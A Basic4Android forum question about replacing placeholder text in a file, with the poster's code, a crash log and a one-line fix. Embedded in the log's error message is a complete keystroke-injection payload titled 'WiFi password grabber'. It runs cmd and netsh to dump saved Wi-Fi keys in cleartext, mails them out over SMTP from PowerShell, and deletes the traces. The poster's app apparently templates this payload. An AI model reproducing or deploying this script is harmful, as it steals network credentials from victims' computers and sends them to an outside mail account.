Android Question how to replace text in a text file?

Dim s As String = File.ReadString(File.DirAssets, ...)
s = s.Replace("aaaa", EditText1.Text)
File.WriteString(..., ...)

Sub Save_click
    If edittext2.Text = edittext3.text Then
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        s = sa.Replace("yourmail@yourmail.com", edittext1.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        s = sa.Replace("yourpassword", edittext2.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        Dim sa As String = File.ReadString(File.DirInternal,"wifi_pswd.dd")
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
        s = sa.Replace("yoursmtpserver", edittext4.Text)
        File.WriteString(s, File.DirInternal, "wifi_pswd.dd")
      
        StartActivity("Main")
        Activity.Finish
        Else
            Msgbox("Check your password again, they are not the same.","Error:")
    End If

** Service (starter) Create **
** Service (starter) Start **
** Activity (main) Create, isFirst = true **
** Activity (main) Resume **
** Activity (main) Pause, UserClosed = false **
** Activity (main) Resume **
** Activity (main) Pause, UserClosed = true **
** Activity (mail_setup) Create, isFirst = true **
** Activity (mail_setup) Resume **
mail_setup_save_click (java line: 373)
java.io.FileNotFoundException: /REM Title: WiFi password grabber
REM Author: Siem
REM Version: 3
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000
REM --> Minimize all windows
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER
REM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER
REM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER
REM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER
REM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER
REM --> Delete A.txt
STRING del A.txt
ENTER
REM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.ziggo.nl'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('tim241@ziggo.nl', 'mypassword ;-)')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'tim241@ziggo.nl'
ENTER
STRING $ReportEmail.To.Add('tim241@ziggo.nl')
ENTER
STRING $ReportEmail.Subject = 'WiFi key grabber'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 500
REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER/data/data/com.droidducky.tim/files: open failed: ENAMETOOLONG (File name too long)
    at libcore.io.IoBridge.open(IoBridge.java:409)
    at java.io.FileOutputStream.<init>(FileOutputStream.java:88)
    at anywheresoftware.b4a.objects.streams.File.OpenOutput(File.java:370)
    at anywheresoftware.b4a.objects.streams.File.WriteString(File.java:258)
    at com.droidducky.tim.mail_setup._save_click(mail_setup.java:373)
    at java.lang.reflect.Method.invokeNative(Native Method)
    at java.lang.reflect.Method.invoke(Method.java:515)
    at anywheresoftware.b4a.BA.raiseEvent2(BA.java:169)
    at anywheresoftware.b4a.BA.raiseEvent2(BA.java:157)
    at anywheresoftware.b4a.BA.raiseEvent(BA.java:153)
    at anywheresoftware.b4a.objects.ViewWrapper$1.onClick(ViewWrapper.java:78)
    at android.view.View.performClick(View.java:4639)
    at android.view.View$PerformClick.run(View.java:19252)
    at android.os.Handler.handleCallback(Handler.java:733)
    at android.os.Handler.dispatchMessage(Handler.java:95)
    at android.os.Looper.loop(Looper.java:146)
    at android.app.ActivityThread.main(ActivityThread.java:5511)
    at java.lang.reflect.Method.invokeNative(Native Method)
    at java.lang.reflect.Method.invoke(Method.java:515)
    at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1283)
    at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1099)
    at dalvik.system.NativeStart.main(Native Method)
Caused by: libcore.io.ErrnoException: open failed: ENAMETOOLONG (File name too long)
    at libcore.io.Posix.open(Native Method)
    at libcore.io.BlockGuardOs.open(BlockGuardOs.java:110)
    at libcore.io.IoBridge.open(IoBridge.java:393)
    ... 21 more

File.WriteString(File.DirInternal, "wifi_pswd.dd",s)